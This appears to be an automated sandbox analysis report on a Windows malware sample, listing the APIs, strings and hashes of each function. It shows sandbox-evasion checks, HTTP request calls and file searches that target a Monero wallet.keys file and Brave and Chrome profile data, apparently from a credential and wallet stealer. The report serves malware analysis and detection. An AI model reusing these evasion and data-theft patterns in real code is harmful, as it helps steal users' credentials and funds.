Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01428740,?,008C110C,?,00000000,?,008C1110,?,00000000,008C0AEF), ref: 008B6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 008B6AE8
CloseHandle.KERNEL32(00000000), ref: 008B6AF9
Sleep.KERNEL32(00001770), ref: 008B6B04
CloseHandle.KERNEL32(?,00000000,?,01428740,?,008C110C,?,00000000,?,008C1110,?,00000000,008C0AEF), ref: 008B6B1A
ExitProcess.KERNEL32 ref: 008B6B22

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: db0dd19f2d8482b089ff5cbc31fc7a8ad4bff8215257addc34d704f766ec4db2
Instruction ID: b4526e98b8b4831e9f0274add825dcd3d0dfaa0568ff5491e7c62d80ee6620ce
Opcode Fuzzy Hash: db0dd19f2d8482b089ff5cbc31fc7a8ad4bff8215257addc34d704f766ec4db2
Instruction Fuzzy Hash: 3D310E71900208AAEB08FBE8DC96BEE7778FF54340F504528F112E6691EF746905C7A7

Function 008A1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 008A123E
__aulldiv.LIBCMT ref: 008A1258
__aulldiv.LIBCMT ref: 008A1266
ExitProcess.KERNEL32 ref: 008A1294

Strings

@, xrefs: 008A1233

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: edb37137f32978ee57a64be7ff40570977f65984692822da9bb1abe6f56e441e
Instruction ID: a4f39301facf445028dd3b0fd6ae854c460827c7d7840cf4724749e5d9fd94c3
Opcode Fuzzy Hash: edb37137f32978ee57a64be7ff40570977f65984692822da9bb1abe6f56e441e
Instruction Fuzzy Hash: 1C01FBB0944308BAEF10DBE4CC89B9EBB78FB15705F248058E605FA680D774A545879A

Function 008B6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01428740,?,008C110C,?,00000000,?,008C1110,?,00000000,008C0AEF), ref: 008B6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 008B6AE8
CloseHandle.KERNEL32(00000000), ref: 008B6AF9
Sleep.KERNEL32(00001770), ref: 008B6B04
CloseHandle.KERNEL32(?,00000000,?,01428740,?,008C110C,?,00000000,?,008C1110,?,00000000,008C0AEF), ref: 008B6B1A
ExitProcess.KERNEL32 ref: 008B6B22

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d49d8a20756c514d79b4a54ef3055d4179470620cec25850f2b552b3326dffdf
Instruction ID: 7e7e3a43380321761e17083ad7f06cd6ecc74d556b9a1b41278b43422669815b
Opcode Fuzzy Hash: d49d8a20756c514d79b4a54ef3055d4179470620cec25850f2b552b3326dffdf
Instruction Fuzzy Hash: B8F03470A40229ABEB10EBE09C4ABFE7A34FB14701F104915B502F92D1EBB46541DBA7

Function 008A47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 008A4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 008A4849

Strings

<, xrefs: 008A47C9

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 5dfebba0dd7167c2ed9ac6531ddf01ba3312a4405de3f59ec54794bdaaded0d1
Instruction ID: 64c34cac884370ee31bcd4967871e1e94fc607fbd7704908cdb0fe92a34b63c6
Opcode Fuzzy Hash: 5dfebba0dd7167c2ed9ac6531ddf01ba3312a4405de3f59ec54794bdaaded0d1
Instruction Fuzzy Hash: AA216FB1D00209ABDF14DFA5EC49ADE7B74FB44320F008625F915A72D1EB706A0ACF91

Function 008B51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

Part of subcall function 008A6280: InternetOpenA.WININET(008C0DFE,00000001,00000000,00000000,00000000), ref: 008A62E1
Part of subcall function 008A6280: StrCmpCA.SHLWAPI(?,0142F028), ref: 008A6303
Part of subcall function 008A6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 008A6335
Part of subcall function 008A6280: HttpOpenRequestA.WININET(00000000,GET,?,0142EB78,00000000,00000000,00400100,00000000), ref: 008A6385
Part of subcall function 008A6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 008A63BF
Part of subcall function 008A6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008A63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008B5228

Strings

ERROR, xrefs: 008B5273
ERROR, xrefs: 008B521A

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 00ae95a0a92154c2d3f0f94557c7822b81af4820ce3483ca4b0e2455a0758289
Instruction ID: c02457e96f7f7d546f0d2e66b5a309ad238f4e030b4fc61a05562eca5232f896
Opcode Fuzzy Hash: 00ae95a0a92154c2d3f0f94557c7822b81af4820ce3483ca4b0e2455a0758289
Instruction Fuzzy Hash: B911EF30910548B6DB18FF68DD96AED7778FF50300F404168F91ADA692EF34AB05C693

Function 008A1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 008A112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 008A1132
ExitProcess.KERNEL32 ref: 008A1143

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: fadc52dfd8a2892281694684a9d38ae779e0d918087dc0a962c73b02442e99f1
Instruction ID: a6b8f180a06f4b8cfe82bb5767efe781728606f19fa55d19619b35d37240cbe5
Opcode Fuzzy Hash: fadc52dfd8a2892281694684a9d38ae779e0d918087dc0a962c73b02442e99f1
Instruction Fuzzy Hash: 83E08670945348FFEB10EBE09C4EB087AB8EB04B01F104044F708BA5C0D6B43601979A

Function 008A10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 008A10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 008A10F7

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 07691884c1e7cdded092ab148d12a0d844a1c309b0a090245bad014cfb379c20
Instruction ID: 34f5bae465d8c4251847826dd5a883328f74f600a485731d1c9d8bb3d7bfe7d5
Opcode Fuzzy Hash: 07691884c1e7cdded092ab148d12a0d844a1c309b0a090245bad014cfb379c20
Instruction Fuzzy Hash: 03F0E271641208BBEB14DAA8AC89FAAB7ECE705B15F300448F604E7280D571AE00CBA1

Function 00C9066A Relevance: 1.5, APIs: 1, Instructions: 26libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00C90EE6

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b49cb51966b13bbac2d9c95c4c78df551ec01bcf261cf2338eb2107149db3720
Instruction ID: 8d7db8cac446c779ab730e7294cbb49504a663b30d901e934bbab89bdbeaccb6
Opcode Fuzzy Hash: b49cb51966b13bbac2d9c95c4c78df551ec01bcf261cf2338eb2107149db3720
Instruction Fuzzy Hash: 4EF0F47105E304EFCB21AF26CA4932EF3F4AF94711F24880EE6C547614DA368A54EB5B

Function 008A1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 008B78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 008B7910
Part of subcall function 008B78E0: RtlAllocateHeap.NTDLL(00000000), ref: 008B7917
Part of subcall function 008B78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 008B792F

Part of subcall function 008B7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008A11B7), ref: 008B7880
Part of subcall function 008B7850: RtlAllocateHeap.NTDLL(00000000), ref: 008B7887
Part of subcall function 008B7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 008B789F

ExitProcess.KERNEL32 ref: 008A11C6

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 9eecff8197b86b84384c96d419baf4b0eeb35d9d7f8ef1971ac208b8b73e920d
Instruction ID: 24defdd9049a7b4623bb2ac3d716d3ec174f895e1ab7cc0b1aa8b7f3413ee0fe
Opcode Fuzzy Hash: 9eecff8197b86b84384c96d419baf4b0eeb35d9d7f8ef1971ac208b8b73e920d
Instruction Fuzzy Hash: 6EE012B595434153DE00B3F8AC4AB6A369CFB65385F041424FA09D6702FA25F802C66F

Non-executed Functions

Function 008B38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 008B38CC
FindFirstFileA.KERNEL32(?,?), ref: 008B38E3
lstrcat.KERNEL32(?,?), ref: 008B3935
StrCmpCA.SHLWAPI(?,008C0F70), ref: 008B3947
StrCmpCA.SHLWAPI(?,008C0F74), ref: 008B395D
FindNextFileA.KERNEL32(000000FF,?), ref: 008B3C67
FindClose.KERNEL32(000000FF), ref: 008B3C7C

Strings

%s\*, xrefs: 008B38C0
%s\%s, xrefs: 008B3A6F
%s\%s, xrefs: 008B397A
%s%s, xrefs: 008B3AAD
%s\%s\%s, xrefs: 008B3A4A

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 423416a42e588fd4cde2d72abbfd9a9742ddd6ef46146f103413a9381553c8ce
Instruction ID: a537964d9717eae87f9807420d0253b0109070f0576256bda3cb1e5d799293ba
Opcode Fuzzy Hash: 423416a42e588fd4cde2d72abbfd9a9742ddd6ef46146f103413a9381553c8ce
Instruction Fuzzy Hash: C5A150B1A00258ABDB24DFA4DC85FEE7778FB59300F044588B51DD6241EB74AB85CF62

Function 008ABE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

FindFirstFileA.KERNEL32(00000000,?,008C0B32,008C0B2B,00000000,?,?,?,008C13F4,008C0B2A), ref: 008ABEF5
StrCmpCA.SHLWAPI(?,008C13F8), ref: 008ABF4D
StrCmpCA.SHLWAPI(?,008C13FC), ref: 008ABF63
FindNextFileA.KERNEL32(000000FF,?), ref: 008AC7BF
FindClose.KERNEL32(000000FF), ref: 008AC7D1

Strings

\Brave\Preferences, xrefs: 008AC1DB
Google Chrome, xrefs: 008AC634
Preferences, xrefs: 008AC11E
Brave, xrefs: 008AC102

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
